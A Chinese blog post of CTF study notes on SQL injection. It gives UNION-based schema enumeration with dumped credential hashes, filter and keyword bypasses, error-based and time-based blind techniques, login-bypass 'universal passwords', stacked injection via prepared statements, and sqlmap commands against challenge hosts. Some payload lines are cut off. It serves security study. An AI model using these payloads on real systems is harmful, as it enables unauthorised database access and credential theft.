

sql注入

原创

[pmt123456](#) 于 2020-10-02 16:55:31 发布 118 收藏

分类专栏: [ctf](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/pmt123456/article/details/108902962>

版权



[ctf](#) 专栏收录该内容

12 篇文章 0 订阅

订阅专栏

1.基本步骤

eg1:<https://www.jianshu.com/p/078df7a35671>

例题: “百度杯”CTF比赛 九月场SQL

tips:用<>绕过敏感词过滤

1.得到数据库名称为sqli

```
http://e14891ee716b434e845d5375b2b206ca6876877f00be47e0.changame.ichunqiu.com/index.php?id=1 union sele<>ct
```

2.得到表明为info

```
http://e14891ee716b434e845d5375b2b206ca6876877f00be47e0.changame.ichunqiu.com/index.php?id=1 union sele<>ct
```

3.得到列名为f1Ag_T5ZNdrm

```
http://e14891ee716b434e845d5375b2b206ca6876877f00be47e0.changame.ichunqiu.com/index.php?id=1 union sele<>ct
```

4.得到flag

```
http://e14891ee716b434e845d5375b2b206ca6876877f00be47e0.changame.ichunqiu.com/index.php?id=1 union sele<>ct
```

eg2:[ics-04](#)

```

c3tlwDmIn23 | 2f8667f381ff50ced6a3edc259260ba9
step1:
pmt' union select 1,2,3,4 limit 1,1#
3

step2:
pmt' union select 1,2,group_concat(schema_name),4 from information_schema.schemata limit 1,1#
information_schema,cetc004,mysql,performance_schema

step3:
pmt' union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='cetc004
user

step4:
pmt' union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema='cetc0
username,password,question,answer

step5:
pmt' union select 1,2,group_concat(char(58),username,',',password,',',question,',',answer),4 from cetc004.u

c3tlwDmIn23,2f8667f381ff50ced6a3edc259260ba9,cetc,cdwcewf2e3235y7687jnhbvdffcqsx12324r45y687o98kynbgfvds,
:pmt,202cb962ac59075b964b07152d234b70,123,123,
:c3tlwDmIn23,202cb962ac59075b964b07152d234b70,123,123

```

2. 常见sql注入

(1) 宽字节注入

(2) 基于约束的注入

(3) 报错注入

(3-1) concat+rand()+group_by()导致主键重复

[floor\(rand\(0\)*2\)原理讲解](#)

(3-2) Xpath报错 原理

(3-3) exp函数报错

(4) 基于时间的盲注

(4-1) sleep函数

(4-2) Benchmark函数

(4-3) 笛卡尔积

#笛卡尔积(因为连接表是一个很耗时的操作)

AxB=A和B中每个元素的组合所组成的集合，就是连接表

```
SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.ta
```

```
select * from table_name A, table_name B
```

```
select * from table_name A, table_name B, table_name C
```

```
select count(*) from table_name A, table_name B, table_name C 表可以是同一张表
```

(4-4) [get_lock函数加锁机制](#)

```
Select get_lock(key,timeout) from test;  
Select release_lock(key) from test;
```

(4-5) [RLIKE](#)

通过rpad或repeat构造长字符串，加以计算量大的pattern，通过repeat的参数可以控制延时长短。

```
mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');  
+-----+  
| rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') |  
+-----+  
|                                                                |  
+-----+  
1 row in set (5.27 sec)
```

(5) [利用insert、update和delete注入获得数据](#)

(5-1) [insert注入](#)

(5-2) [update注入](#)

[UPdate 延时盲注之小技巧](#)

(5-3) [delete延时注入](#)

(6) [堆叠注入-2019强网杯"随便注"学习](#)

3.常用模板

(3-1) [万能语句](#)

(3-2) [SQL盲注脚本模板](#)

(3-2-1) [时间盲注](#)

[requests发请求时timeout配置及异常捕获](#)

4.其他补充

(4-1) [万能密码](#)

```
select * from admin where username="" and password = "";
```

1.admin#

```
select * from admin where username='admin'#' and password = '';
```

2.'+'+'

sql中会讲字符串当做0来处理

```

MariaDB [sectest]> select 'admin'+1;
+-----+
| 'admin'+1 |
+-----+
|          1 |
+-----+
1 row in set, 1 warning (0.00 sec)

MariaDB [sectest]> select 'admin'+2;
+-----+
| 'admin'+2 |
+-----+
|          2 |
+-----+
1 row in set, 1 warning (0.00 sec)

MariaDB [sectest]> select ''+'';
+-----+
| ''+' ' |
+-----+
|        0 |
+-----+
1 row in set, 2 warnings (0.00 sec)

MariaDB [sectest]> select 'a'=0;
+-----+
| 'a'=0 |
+-----+
|        1 |
+-----+
1 row in set, 1 warning (0.00 sec)

MariaDB [sectest]> select 'a'='n';
+-----+
| 'a'='n' |
+-----+
|        0 |
+-----+
1 row in set (0.00 sec)

MariaDB [sectest]> select * from user where username = ''+' ' and password = ''+' ' ;
+-----+-----+-----+
| id | username | password |
+-----+-----+-----+
|  1 | admin    | qwerty   |
+-----+-----+-----+
1 row in set, 6 warnings (0.00 sec)

```

<https://blog.csdn.net/pmt123456>

```

select * from admin where username=""+' ' and password = ""+' ' ;
select * from admin where username=0 and password = 0 ;

```

【注意】这种方法针对所有非数字开头的字符串才会认为是以0开头，否则就会失效

```

MariaDB [sectest]> update user set password = '123456' where id =1 ;
Query OK, 1 row affected (0.01 sec)
Rows matched: 1 Changed: 1 Warnings: 0

MariaDB [sectest]> select * from user;
+-----+-----+-----+
| id | username | password |
+-----+-----+-----+
|  1 | admin    | 123456   |
+-----+-----+-----+
1 row in set (0.00 sec)

```

<https://blog.csdn.net/pmt123456>

3.aaA='

```
select * from admin where username='aAa'='' and password = 'aAa'='';
```

```
MariaDB [sectest]> select 'b'='c';
+-----+
| 'b'='c' |
+-----+
|         0 |
+-----+
1 row in set (0.00 sec)

MariaDB [sectest]> select 'b'='c'='';
+-----+
| 'b'='c'='' |
+-----+
|           1 |
+-----+
1 row in set, 1 warning (0.00 sec)
```

将username='aAa'=''

1、username='aAa' 返回false

2、false=''即0=1返回1

3、select * from admin where username='aAa'='' and password = 'aAa'='';即变成了

select * from admin where 1 and 1;

(4-2) \N:利用\N略去空格

```
MariaDB [sectest]> select 1 from data1;
+----+
| 1 |
+----+
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
+----+
5 rows in set (0.00 sec)

MariaDB [sectest]> select lfrom data1;
ERROR 1054 (42S22): Unknown column 'lfrom' in 'field list'
MariaDB [sectest]> select \Nfrom data1;
+-----+
| NULL |
+-----+
| NULL |
| NULL |
| NULL |
| NULL |
| NULL |
+-----+
5 rows in set (0.00 sec)

MariaDB [sectest]> select 1,2,\Nfrom data1;
+----+-----+-----+
| 1 | 2 | NULL |
+----+-----+-----+
| 1 | 2 | NULL |
| 1 | 2 | NULL |
| 1 | 2 | NULL |
| 1 | 2 | NULL |
| 1 | 2 | NULL |
+----+-----+-----+
5 rows in set (0.00 sec)
```

<https://blog.csdn.net/pmt123456>

(4-2) 堆叠注入

题目: [supersqli](#)

[其他方法](#)

```
1';show tables;#
1919810931114514

1';show columns from `1919810931114514`;#
flag

#预处理语句
1';Set @sql=concat('sel','ect * from `1919810931114514`');Prepare stmt from @sql;EXECUTE stmt;#
```

总结: 1、[MySQL的SQL预处理\(Prepared\)](#)

2、[strstr不区分大小写](#)

5、[sqlmap](#)

```
sqlmap.py -u "http://111.198.29.45:46827/findpwd.php" --data="username=1"
sqlmap.py -u "http://111.198.29.45:46827/findpwd.php" --data="username=1" --dbs
sqlmap.py -u "http://111.198.29.45:46827/findpwd.php" --data="username=1" -D cetc004 --tables
sqlmap.py -u "http://111.198.29.45:46827/findpwd.php" --data="username=1" -D cetc004 -T user --columns
sqlmap.py -u "http://111.198.29.45:46827/findpwd.php" --data="username=1" -D cetc004 -T user -C username&pa
```

用sqlmap跑post型注入